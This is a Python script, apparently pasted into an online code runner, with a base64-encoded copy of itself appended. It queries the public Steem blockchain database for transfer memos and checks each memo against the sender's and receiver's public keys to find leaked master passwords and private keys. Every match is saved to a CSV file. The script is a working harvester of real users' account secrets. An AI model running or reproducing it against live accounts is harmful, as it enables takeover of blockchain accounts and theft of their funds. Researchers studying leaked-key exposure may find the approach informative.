import csv
import pymssql
import json
from steembase.account import PrivateKey, PasswordKey
from multiprocessing import Process, Queue, Manager
WORKERS = 8
q = '''
SELECT
TxTransfers.*,
sender.owner sender_owner,
sender.active sender_active,
sender.posting sender_posting,
sender.memo_key sender_memo_key,
receiver.owner receiver_,
receiver.active receiver_active,
receiver.posting receiver_posting,
receiver.memo_key receiver_memo_key
FROM TxTransfers
INNER JOIN Accounts as sender
ON TxTransfers."from" = sender.name
INNER JOIN Accounts as receiver
ON TxTransfers."to" = receiver.name
WHERE TxTransfers.type = 'transfer'
AND TxTransfers.memo != '';
'''
def get_keys(field):
return [key_auth[0] for key_auth in json.loads(field)['key_auths']]
def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
memo_key_field):
if account_name not in public_keys_by_account:
public_keys_by_account[account_name] = {
'owner': get_keys(owner_field),
'active': get_keys(active_field),
'posting': get_keys(posting_field),
'memo': [memo_key_field],
}
return public_keys_by_account[account_name]
def get_public_key_from_password(shared_dict, account_name, password):
if account_name + password not in shared_dict:
shared_dict[account_name + password] = str(
PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
return shared_dict[account_name + password]
def get_public_key_from_private(shared_dict, priv_key):
if priv_key not in shared_dict:
shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)
return shared_dict[priv_key]
def worker(
pid,
transactions_queue,
results_queue,
public_keys_from_passwords,
public_keys_from_private_keys
):
print('[{}] worker started'.format(pid))
while not transactions_queue.empty():
i, account_name, public_keys, memo = transactions_queue.get()
print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))
public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
if public_owner_key in public_keys['owner']:
print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
results_queue.put((account_name, 'password', memo,))
else:
try:
some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo)
for role in ['posting', 'active', 'owner', 'memo']:
for key in public_keys[role]:
if key == some_public_key:
print(
"[{}] Gotcha! Found private {} key for '{}' account: {}".format(
pid, role, account_name, memo
)
)
results_queue.put((account_name, role, memo,))
except AssertionError:
print('[{}] AssertionError: {}'.format(pid, memo))
continue
except ValueError as e:
if str(e) == 'Error loading Base58 object':
continue
elif str(e) == 'Odd-length string':
continue
print('[{}] worker ended'.format(pid))
def save_results(results_queue):
tmp = set()
with open('results.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow(['account', 'type', 'memo'])
while True:
result = results_queue.get()
if result == 'kill':
break
if result not in tmp:
writer.writerow(result)
file.flush()
tmp.add(result)
def main():
manager = Manager()
existing_public_keys_by_account = {}
public_keys_generated_from_potential_passwords = manager.dict()
public_keys_generated_from_potential_private_keys = manager.dict()
transactions = Queue()
results = Queue()
conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
cursor = conn.cursor()
cursor.execute(q)
with open('transactions.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow((
'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
)
for row in cursor:
print('.', end='')
writer.writerow([str(item).replace('\r\n', '') for item in row])
with open('transactions.csv', 'r') as file:
reader = csv.reader(file, quotechar="\"", delimiter=";", escapechar="\\")
next(reader) # skipping the header
for i, (
id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
sender_owner, sender_active, sender_posting, sender_memo_key,
receiver_owner, receiver_active, receiver_posting, receiver_memo_key
) in enumerate(reader):
sender_keys = get_public_keys_from_fields(
existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
)
receiver_keys = get_public_keys_from_fields(
existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
receiver_memo_key
)
transactions.put((i, from_, sender_keys, memo))
transactions.put((i, to_, receiver_keys, memo))
processes = []
for i in range(WORKERS):
p = Process(target=worker, args=(
i,
transactions,
results,
public_keys_generated_from_potential_passwords,
public_keys_generated_from_potential_private_keys
))
p.start()
processes.append(p)
listener = Process(target=save_results, args=(results,))
listener.start()
for p in processes:
p.join()
results.put('kill')
listener.join()
print("end")
if __name__ == '__main__':
main()# your code goes here
aW1wb3J0IGNzdgppbXBvcnQgcHltc3NxbAppbXBvcnQganNvbgpmcm9tIHN0ZWVtYmFzZS5hY2NvdW50IGltcG9ydCBQcml2YXRlS2V5LCBQYXNzd29yZEtleQpmcm9tIG11bHRpcHJvY2Vzc2luZyBpbXBvcnQgUHJvY2VzcywgUXVldWUsIE1hbmFnZXIKCgpXT1JLRVJTID0gOAoKcSA9ICcnJwpTRUxFQ1QKICBUeFRyYW5zZmVycy4qLAogIHNlbmRlci5vd25lciBzZW5kZXJfb3duZXIsCiAgc2VuZGVyLmFjdGl2ZSBzZW5kZXJfYWN0aXZlLAogIHNlbmRlci5wb3N0aW5nIHNlbmRlcl9wb3N0aW5nLAogIHNlbmRlci5tZW1vX2tleSBzZW5kZXJfbWVtb19rZXksCiAgcmVjZWl2ZXIub3duZXIgcmVjZWl2ZXJfLAogIHJlY2VpdmVyLmFjdGl2ZSByZWNlaXZlcl9hY3RpdmUsCiAgcmVjZWl2ZXIucG9zdGluZyByZWNlaXZlcl9wb3N0aW5nLAogIHJlY2VpdmVyLm1lbW9fa2V5IHJlY2VpdmVyX21lbW9fa2V5CkZST00gVHhUcmFuc2ZlcnMKSU5ORVIgSk9JTiBBY2NvdW50cyBhcyBzZW5kZXIKT04gVHhUcmFuc2ZlcnMuImZyb20iID0gc2VuZGVyLm5hbWUKSU5ORVIgSk9JTiBBY2NvdW50cyBhcyByZWNlaXZlcgpPTiBUeFRyYW5zZmVycy4idG8iID0gcmVjZWl2ZXIubmFtZQpXSEVSRSBUeFRyYW5zZmVycy50eXBlID0gJ3RyYW5zZmVyJyAKQU5EIFR4VHJhbn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AgICAgICAgICBwcmludCgiW3t9XSBHb3RjaGEhIEZvdW5kIG1haW4gcGFzc3dvcmQgZm9yICd7fScgYWNjb3VudDoge30iLmZvcm1hdChwaWQsIGFjY291bnRfbmFtZSwgbWVtbykpCiAgICAgICAgICAgIHJlc3VsdHNfcXVldWUucHV0KChhY2NvdW50X25hbWUsICdwYXNzd29yZCcsIG1lbW8sKSkKICAgICAgICBlbHNlOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBzb21lX3B1YmxpY19rZXkgPSBnZXRfcHVibGljX2tleV9mcm9tX3ByaXZhdGUocHVibGljX2tleXNfZnJvbV9wcml2YXRlX2tleXMsIG1lbW8pCiAgICAgICAgICAgICAgICBmb3Igcm9sZSBpbiBbJ3Bvc3RpbmcnLCAnYWN0aXZlJywgJ293bmVyJywgJ21lbW8nXToKICAgICAgICAgICAgICAgICAgICBmb3Iga2V5IGluIHB1YmxpY19rZXlzW3JvbGVdOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBrZXkgPT0gc29tZV9wdWJsaWNfa2V5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlt7fV0gR290Y2hhISBGb3VuZCBwcml2YXRlIHt9IGtleSBmb3IgJ3t9JyBhY2NvdW50OiB7fSIuZm9ybWF0KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaWQsIHJvbGUsIGFjY291bnRfbmFtZSwgbWVtbwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdHNfcXVldWUucHV0KChhY2NvdW50X25hbWUsIHJvbGUsIG1lbW8sKSkKCiAgICAgICAgICAgIGV4Y2VwdCBBc3NlcnRpb25FcnJvcjoKICAgICAgICAgICAgICAgIHByaW50KCdbe31dIEFzc2VydGlvbkVycm9yOiB7fScuZm9ybWF0KHBpZCwgbWVtbykpCiAgICAgICAgICAgICAgICBjb250aW51ZQoKICAgICAgICAgICAgZXhjZXB0IFZhbHVlRXJyb3IgYXMgZToKICAgICAgICAgICAgICAgIGlmIHN0cihlKSA9PSAnRXJyb3IgbG9hZGluZyBCYXNlNTggb2JqZWN0JzoKICAgICAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICAgICAgZWxpZiBzdHIoZSkgPT0gJ09kZC1sZW5ndGggc3RyaW5nJzoKICAgICAgICAgICAgICAgICAgICBjb250aW51ZQoKICAgIHByaW50KCdbe31dIHdvcmtlciBlbmRlZCcuZm9ybWF0KHBpZCkpCgoKZGVmIHNhdmVfcmVzdWx0cyhyZXN1bHRzX3F1ZXVlKToKICAgIHRtcCA9IHNldCgpCiAgICB3aXRoIG9wZW4oJ3Jlc3VsdHMuY3N2JywgJ3crJykgYXMgZmlsZToKICAgICAgICB3cml0ZXIgPSBjc3Yud3JpdGVyKGZpbGUsIHF1b3RlY2hhcj0iXCIiLCBkZWxpbWl0ZXI9IjsiLCBlc2NhcGVjaGFyPSJcXCIpCiAgICAgICAgd3JpdGVyLndyaXRlcm93KFsnYWNjb3VudCcsICd0eXBlJywgJ21lbW8nXSkKCiAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgcmVzdWx0ID0gcmVzdWx0c19xdWV1ZS5nZXQoKQogICAgICAgICAgICBpZiByZXN1bHQgPT0gJ2tpbGwnOgogICAgICAgICAgICAgICAgYnJlYWsKCiAgICAgICAgICAgIGlmIHJlc3VsdCBub3QgaW4gdG1wOgogICAgICAgICAgICAgICAgd3JpdGVyLndyaXRlcm93KHJlc3VsdCkKICAgICAgICAgICAgICAgIGZpbGUuZmx1c2goKQogICAgICAgICAgICAgICAgdG1wLmFkZChyZXN1bHQpCgoKZGVmIG1haW4oKToKICAgIG1hbmFnZXIgPSBNYW5hZ2VyKCkKICAgIGV4aXN0aW5nX3B1YmxpY19rZXlzX2J5X2FjY291bnQgP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W5kPScnKQogICAgICAgICAgICB3cml0ZXIud3JpdGVyb3coW3N0cihpdGVtKS5yZXBsYWNlKCdcclxuJywgJycpIGZvciBpdGVtIGluIHJvd10pCgogICAgd2l0aCBvcGVuKCd0cmFuc2FjdGlvbnMuY3N2JywgJ3InKSBhcyBmaWxlOgogICAgICAgIHJlYWRlciA9IGNzdi5yZWFkZXIoZmlsZSwgcXVvdGVjaGFyPSJcIiIsIGRlbGltaXRlcj0iOyIsIGVzY2FwZWNoYXI9IlxcIikKCiAgICAgICAgbmV4dChyZWFkZXIpICAjIHNraXBwaW5nIHRoZSBoZWFkZXIKICAgICAgICBmb3IgaSwgKAogICAgICAgICAgICAgICAgaWRfLCB0eF9pZCwgdHlwZV8sIGZyb21fLCB0b18sIGFtb3VudCwgYW1vdW50X3N5bWJvbCwgbWVtbywgcmVxdWVzdF9pZCwgdGltZXN0YW1wLAogICAgICAgICAgICAgICAgc2VuZGVyX293bmVyLCBzZW5kZXJfYWN0aXZlLCBzZW5kZXJfcG9zdGluZywgc2VuZGVyX21lbW9fa2V5LAogICAgICAgICAgICAgICAgcmVjZWl2ZXJfb3duZXIsIHJlY2VpdmVyX2FjdGl2ZSwgcmVjZWl2ZXJfcG9zdGluZywgcmVjZWl2ZXJfbWVtb19rZXkKICAgICAgICApIGluIGVudW1lcmF0ZShyZWFkZXIpOgoKICAgICAgICAgICAgc2VuZGVyX2tleXMgPSBnZXRfcHVibGljX2tleXNfZnJvbV9maWVsZHMoCiAgICAgICAgICAgICAgICBleGlzdGluZ19wdWJsaWNfa2V5c19ieV9hY2NvdW50LCBmcm9tXywgc2VuZGVyX293bmVyLCBzZW5kZXJfYWN0aXZlLCBzZW5kZXJfcG9zdGluZywgc2VuZGVyX21lbW9fa2V5CiAgICAgICAgICAgICkKICAgICAgICAgICAgcmVjZWl2ZXJfa2V5cyA9IGdldF9wdWJsaWNfa2V5c19mcm9tX2ZpZWxkcygKICAgICAgICAgICAgICAgIGV4aXN0aW5nX3B1YmxpY19rZXlzX2J5X2FjY291bnQsIHRvXywgcmVjZWl2ZXJfb3duZXIsIHJlY2VpdmVyX2FjdGl2ZSwgcmVjZWl2ZXJfcG9zdGluZywKICAgICAgICAgICAgICAgIHJlY2VpdmVyX21lbW9fa2V5CiAgICAgICAgICAgICkKCiAgICAgICAgICAgIHRyYW5zYWN0aW9ucy5wdXQoKGksIGZyb21fLCBzZW5kZXJfa2V5cywgbWVtbykpCiAgICAgICAgICAgIHRyYW5zYWN0aW9ucy5wdXQoKGksIHRvXywgcmVjZWl2ZXJfa2V5cywgbWVtbykpCgogICAgcHJvY2Vzc2VzID0gW10KICAgIGZvciBpIGluIHJhbmdlKFdPUktFUlMpOgogICAgICAgIHAgPSBQcm9jZXNzKHRhcmdldD13b3JrZXIsIGFyZ3M9KAogICAgICAgICAgICBpLAogICAgICAgICAgICB0cmFuc2FjdGlvbnMsCiAgICAgICAgICAgIHJlc3VsdHMsCiAgICAgICAgICAgIHB1YmxpY19rZXlzX2dlbmVyYXRlZF9mcm9tX3BvdGVudGlhbF9wYXNzd29yZHMsCiAgICAgICAgICAgIHB1YmxpY19rZXlzX2dlbmVyYXRlZF9mcm9tX3BvdGVudGlhbF9wcml2YXRlX2tleXMKICAgICAgICApKQogICAgICAgIHAuc3RhcnQoKQogICAgICAgIHByb2Nlc3Nlcy5hcHBlbmQocCkKCiAgICBsaXN0ZW5lciA9IFByb2Nlc3ModGFyZ2V0PXNhdmVfcmVzdWx0cywgYXJncz0ocmVzdWx0cywpKQogICAgbGlzdGVuZXIuc3RhcnQoKQoKICAgIGZvciBwIGluIHByb2Nlc3NlczoKICAgICAgICBwLmpvaW4oKQoKICAgIHJlc3VsdHMucHV0KCdraWxsJykKICAgIGxpc3RlbmVyLmpvaW4oKQoKICAgIHByaW50KCJlbmQiKQoKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICBtYWluKCkjIHlvdXIgY29kZSBnb2VzIGhlcmU=